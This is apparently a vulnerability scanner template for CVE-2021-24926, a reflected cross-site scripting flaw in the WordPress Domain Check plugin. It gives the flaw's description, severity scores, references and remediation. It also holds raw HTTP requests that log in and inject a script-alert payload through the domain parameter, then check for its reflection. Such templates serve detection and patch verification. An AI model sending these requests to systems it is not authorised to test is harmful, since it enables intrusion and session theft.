WordPress Domain Check <1.0.17 - Cross-Site Scripting

id: CVE-2021-24926

info:
  name: WordPress Domain Check <1.0.17 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: WordPress Domain Check plugin before 1.0.17 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the domain parameter before outputting it back in the page.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the domain parameter, potentially stealing administrator session cookies or performing administrative actions.
  remediation: |
    Update to WordPress Domain Check plugin version 1.0.17 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8cc7cbbd-f74f-4f30-9483-573641fea733
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24926
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24926
    cwe-id: CWE-79
    epss-score: 0.12857
    epss-percentile: 0.95818
    cpe: cpe:2.3:a:domaincheckplugin:domain_check:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: domaincheckplugin
    product: domain_check
    framework: wordpress
  tags: cve,cve2021,wpscan,xss,wp,wordpress,wp-plugin,authenticated,domaincheckplugin,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=domain-check-profile&domain=test.foo<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Domain Check"
        condition: and

      - type: status
        status:
          - 200
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